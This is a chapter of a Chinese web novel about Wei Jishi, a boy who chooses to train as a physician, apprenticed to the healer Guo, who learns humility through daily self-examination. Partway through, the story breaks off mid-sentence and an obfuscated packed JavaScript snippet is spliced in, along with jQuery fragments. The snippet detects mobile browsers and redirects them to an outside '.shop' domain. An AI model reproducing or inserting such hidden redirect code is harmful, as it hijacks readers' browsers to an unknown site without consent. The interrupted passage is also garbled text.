【济世之志】
话说庄卫续的二弟,幼时命运却颇有些坎坷。这孩子也是从小聪慧,可在六岁时,眼看便要开蒙读书前夕,突然生了一场大病,几度险些夭折。幸而大娘祖璇医术精湛,又极是细心,日夜精心调理,百般呵护,总算将他从鬼门关前拉了回来,得以平安长大,只是身子底子终究弱了些。
待到医治了一年多之后,孩子终于病愈。到了开蒙读书那日,塾师先生姓陈,人称“陈夫子”,笑着问他:“你既来读书,可想过将来考取功名,光耀门楣?”
那孩子朗声答道:“我读书识字,只为明白做人的道理,并无心科考。日后我想跟着家中大娘学医,济世救人。”
陈夫子闻言,故意试探道:“你可要想清楚,这行医虽然是积德行善之事,可在世人眼中,终究不如做官体面。”
怎料那孩子半点不怯,认真回道:“我不知道什么叫体面,只知道去年我身患重病,是大娘细心救治,才救回我一条性命。世人平日里轻贱医者,可一旦病痛缠身,又都盼有神医相救。依我看,不是医生这个行当不体面,而是人心不厚道!”
陈夫子闻言哈哈大笑,连连点头:“小小年纪,便有这般见识,若是肯走科举之路,将来前途不可限量。“
可孩子偏又挺直腰板,补上一句:“我以后只想行医,先生若是觉得我志向低微、不肯教我,我也不强求。大不了便直接回家,跟着大娘学医去便是。”
一旁的亲娘小霜儿与大娘祖璇,一见孩子这般懂事又有主见,相视一笑,脸上皆是欣慰之色。
陈夫子听后更喜,道:“这孩子还挺倔?!罢了!人各有志,不可强求。老夫今日便收你这个徒弟。你既然尚无学名,我便给你起个学名。”
陈夫子捋着胡须略一思索,便道:“你既然矢志学医、悬壶济世,那便取名叫‘济世’。往后,你就叫‘卫济世’,望你一生以仁心行医,以医术济世救人。”
卫小葆站在旁边,欣慰颔首,拍了拍儿子肩膀:“好小子!这些道理,为父平日里半句没教过你,全是你自己想出来的,当真有你爹当年的风采!既然你一心学医,爹便全力支持你。行行出状元,若能学到出类拔萃,日后进宫当个太医,也是医生中的霸主魁首!”
【杏林神童】
卫济世拜入陈夫子门下读书之后,每日读书识字、念四书五经都十分认真,可一到背诵诗词歌赋,便有些心不在焉。陈夫子知他志在学医、无意科举,便也不强求,只由着他性子去。每逢遇上不想学的诗文,卫济世便悄悄掏出《唐本草》、《神农本草经》一类的医书,在课上细细研读。他安安静静,从不捣乱喧哗,陈夫子看在眼里,也只一笑置之。
如此一晃过了几年,这日上课,卫济世一反常态,没有低头看书,反倒目不转睛,直直望着陈夫子的脸,神色凝重。待到放学,众人散去,他上前一步,对着陈夫子郑重一揖:“先生,可否容小徒为您把一把脉?”
陈夫子见他年纪轻轻,却这般严肃,心中好奇,便笑着伸出右手。卫济世凝神屏息,指尖轻搭脉门,细细诊视片刻,又查看了陈夫子的眼底与舌苔,方才正色开口:“先生,近来右肋下是否时常觉得有牵拉式的疼痛?”
陈夫子一怔,脱口道:“你如何知晓?”
卫济世面色愈发认真:“小徒医术尚浅,不敢妄断,可从脉象来看,先生肝腑已有隐疾。所幸此刻尚不深重,还请先生务必寻一位高明大夫仔细诊治,寻常医者恐怕难以对症。弟子听说城东广德堂郭郎中,是肝病专家,医术精湛,先生不妨前往一诊。”
陈夫子望着眼前少年,又惊又奇,一时竟说不出话来。次日,陈夫子依着卫济世的叮嘱,专程赶往城东广德堂,寻郭郎中诊治。郭郎中凝神诊脉良久,又察了舌苔与眼底,捋着胡须缓缓点头道:“陈夫子倒是细心,身子也敏感得很。你这肝部确有隐疾,寻常大夫还真未必能诊出来,多数病人自己更是毫无察觉。亏得你来得早,再拖延些时日,便不好下手了。”
陈夫子听得心头一震,对卫济世医术眼力,更是暗暗称奇,坦然对郭郎中道:“实不相瞒,并非老夫敏感,乃是小徒先为我诊脉,察觉出异样,才劝我前来寻您。”
郭郎中闻言淡淡一笑,一边端起茶碗送到嘴边,一边随口问道:“哦?你这小徒,年纪有多大呀......?” 说着便呷了一口茶。
“十三岁。” 陈夫子如实答道。
“噗 ——”郭郎中刚入口的茶水当场喷了出来,惊得胡须一颤,失声道:“十......十三?这......这岂非杏林神童!”
陈夫子闻言微笑道:“神童二字,实不敢当啊!不过此子确实天生一颗医心,拜入我门下,只为读书识字、明理做人,从无科举功名之念。我教他这几年,书本道理已通,估摸着再过一年,便要从我这里毕业了。”
郭郎中听罢,惊叹不已,连连擦拭嘴角水渍,望着陈夫子只一个劲啧啧称奇:“小小年纪便有这般望闻问切的眼力,将来必成一代名医!”
陈夫子哈哈大笑,续道:“不瞒郭大夫,此子对您的医术也是极其推崇,再三叮嘱我,定要来找您诊治。他如今读书识字已足,做人道理也略通一二,不如下年他满十四之后,便拜入您门下,由您亲自教导他学医,您看如何?”
郭郎中笑着摆手:“十三岁便有这般望闻问切的眼力,我只怕……教不了这孩子什么呀!”
陈夫子连忙笑道:“郭大夫过谦了。小徒向来谦逊好学,平日里提起您时,满眼都是仰慕,一心想跟着名家正经学医。您若是不嫌他年幼,肯指点一二,便是他天大的造化。我明日便带他前来,与您正式见上一面如何?”
郭郎中听得连连点头,心中早已对这位十三岁的小神童好奇不已,当即笑着应下。
【带艺投师】
翌日,陈夫子领着卫济世前来拜见郭郎中。孩子恭恭敬敬给郭郎中行过礼后,三人依次落座。郭郎中暗中打量少年,见他举止沉稳、眼神澄澈谦逊,心中先添了几分好感。
郭郎中捻着胡须,开口问道:“你这后生,都读过哪些医书?”卫济世便将自己读过的医书名目,一一报了出来。
郭郎中点头赞许:“不错,不错,理论知识很好。那你可有什么实践诊断经验?”
卫济世闻言坦然道:“我没有诊断的经验--虽然我也给家人把过脉,可家中亲人身体素来康健,生病也少。家中仆役奴婢,我也偶尔看过,他们也多是康健无大病,我也不曾给他们开过药,因此实践经验实在不足”
郭郎中闻言点头:“那你便试着说说,你家陈夫子这肝病,该如何开药?”
卫济世想了一会儿,便不慌不忙地从病理说起,依次说起成因、开方、服药、饮食禁忌、愈后保健等诸项事情。
郭郎中在一旁听得不住点头:“不错,不错!说得都对......“
待到卫济世讲完,郭郎中稍停片刻,总结道:“学医之道,可说是实践比理论还要重要一些,我医馆里抓药的伙计,按方抓药一年半载,也能看些寻常小病。你如今医书医理已然不差,只需些临床历练了。”
他说罢起身,直接引两人来到他医馆的前堂诊室,其时刚好有一名医师刚给病患把好脉,正要提笔撰方。郭郎中轻声叫停了他,回身让卫济世坐上医师座位,为病人再度诊察,试开一方。
卫济世仔细给病人把脉、察过舌苔眼底,又问过病人体感症状,之后,取过手笔方笺,一边向郭郎中口述诊断结果,一边认真开了一方,交给了医师。
那医师看过一阵后,面露喜色,转头对郭郎中道:“开得都对!这有两味药,我都没有想到!”
郭郎中在一旁早一同看过药方,听罢指着方子上的一味药,对卫济世拈须笑道:“这味药,剂量不足,还得再加二钱。”说完,便示意医师做了修正,让他交给伙计照方抓药了。
诊台前的病人满眼敬佩,起身道:“人都说郭郎中有妙手回春之能,没想到家学熏陶,连孙儿医术都这么高明!”
郭郎中闻言哈哈大笑:“这不是我的孙儿,是我的徒弟!”说罢转身和两人回了后堂。
病人一听脸现诧异:“哦?这学医......要从这么小就学的么?”
留下愣在当场的病人不提,三人回到后堂再度落座。郭郎中取过一张纸,提笔写下几本医书的名目,递了卫济世:“这几本医书,你回去也须细细研读,把理论再夯实几分。等你从师父那里学成出师,便可来我医馆,跟我学习临床诊断之术。”
卫济世捧着那张写满医书名目的纸条,整个人都怔在原地,半晌才回过神,满眼都是不敢置信:“郭先生,您方才…… 说我是您徒弟,是当真的啊?”
他着实没料到,这位享誉京城的名医,竟会如此痛快地应下收徒之事,心中着实不敢相信。
一旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619762|205502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的陈夫子听得哈哈大笑:“傻孩子,这还能有假!快点拜师罢!”
卫济世这才反应过来,当即跪地磕头,行了拜师之礼。
郭郎中瞧他高兴的模样,捻着胡须温声笑了道:“你才十三岁,就有这样的天赋,实践经验,跟我慢慢学便是!”
次年,卫济世拜别陈夫子,正式进入郭郎中的医馆,开始了临床实习。
郭郎中直接他让卫济世跟在自己身边,自己给病人望闻问切之后,便让卫济世上手复诊,随后再听他分析病因与开方,有不足之处再给弟子补充。偶然遇有疑难杂症,才直接给他讲解。如此直接的接触病患、病症,卫济世的医术进步神速,一日千里。
仅一年半光景,仅一年半光景,郭郎中见他辨证稳妥、用药有度,已具备临证施治的本事,便准许他在医馆内随自己坐诊,逐步独立处置轻症病患。
如此又过一年,郭郎中见他诊病准确、开方认真,每次交给伙计抓药前都会自己在核对一遍,便满意地点头,认定这孩子已具备独立行医的本事。
【三省大夫】
卫济世出师前夜,又来拜见恩师,恭恭敬敬道:“师父,弟子医术已成,明日便要独立坐诊。临行之前,还请师父再指点一番行医之道,恳请师父不吝赐教。”
郭郎中捋须笑道:“行医之道,这话头可大得很!这样罢,你去沏壶茶来,咱们爷儿俩许久不曾对弈,咱们喝茶下棋,边下边说。”
卫济世沏了师父最爱喝的龙井,与师父对坐棋盘,边品茶边落子,静候教诲。
待落下几子,郭郎中开了口:“为师教你医术,常反其道而行之,曾对你说过,行医者,与其说是‘求正’,不如说是......“
“防误!”卫济世笃定接道。这是他第一天跟师父实践时,师父对他说过的话,他因此记得特别清楚。
“那该如何防误?”师父追问道。
卫济世本想回答“谨慎小心”之类的,可想到师父说行医之道是个很大的话头,便觉得答案没这么简单,所以一时语塞,答不上来。
郭郎中笑着换了个话题:“你说说,什么样的大夫,最容易误诊?”
卫济世想也不想:“自然是年轻大夫,经验不足,最易看错病症。”
师父摇头笑道:“错!新大夫自知经验浅薄,开方下药时举棋不定,反倒格外谨慎,不易误诊。你还记得吧:当年为师最初考你时,你试开的方子里,就是有一味药的剂量略嫌不足。”
卫济世闻言缓缓点头,思索一阵,疑惑道:“那......也不该是经验丰富的老大夫啊。弟子随师父行医这些时日,从未见师父有过半分误诊。”郭郎中抚须,笑而不语。
卫济世又思索片刻,恍然道:“哦,师父莫非是说……不老不新的大夫,才最容易误诊?”
郭郎中点了点头:“正是!刚有些名气的年青大夫,最是容易栽跟头。为师当年,便是在这节骨眼上出过一次大错,险些闹出人命。”说着脸微现惭色,似在回忆当年。
顿了一顿,他神色忽然郑重起来:“行医一事,人命关天,半点马虎不得。所谓行医之道,最难守的,便是自己这颗心。看诊之时,心无旁骛,莫要惦记自己这点名气。是不是名医不重要,只想着病人,就够了!”
他见卫济世不住点头,又道:“你明日开始独立坐诊,为师并不担心你的水平,看准了之后,尽管大胆开方下药,当机立断。真正容易出错的,是你以后稍微有点名气的时候。读书人讲究的‘三省吾身’,就是这个道理。你,明白了么?“
听了师父一席话,卫济世起身一躬到地:“徒儿,谨遵师父教诲!”
郭郎中又拈须笑道:“坐下,把这盘棋下完。”
于是,卫济世从行医第一天开始,便坚持每日“三省吾身”:
每晨开诊前,自省“稍后开诊,是否能做到只以病患为重,自身名气为轻?”;
午间休憩时,自省“上午所医之症,可有疏漏?”;
日暮收诊后,又自省“今日所医之症,于医术经验方面,可有所得?”
如此每日不辍,以至在他的行医生涯中,仅有两次十分轻微的误诊。病患称他为“神医”者,不计其数,而他自己清楚:自己,只是一名“三省大夫”。
这正是:
稚岁罹疴感惠仁,矢心医道抱经纶。
三省存诚持素志,杏林早见少年身。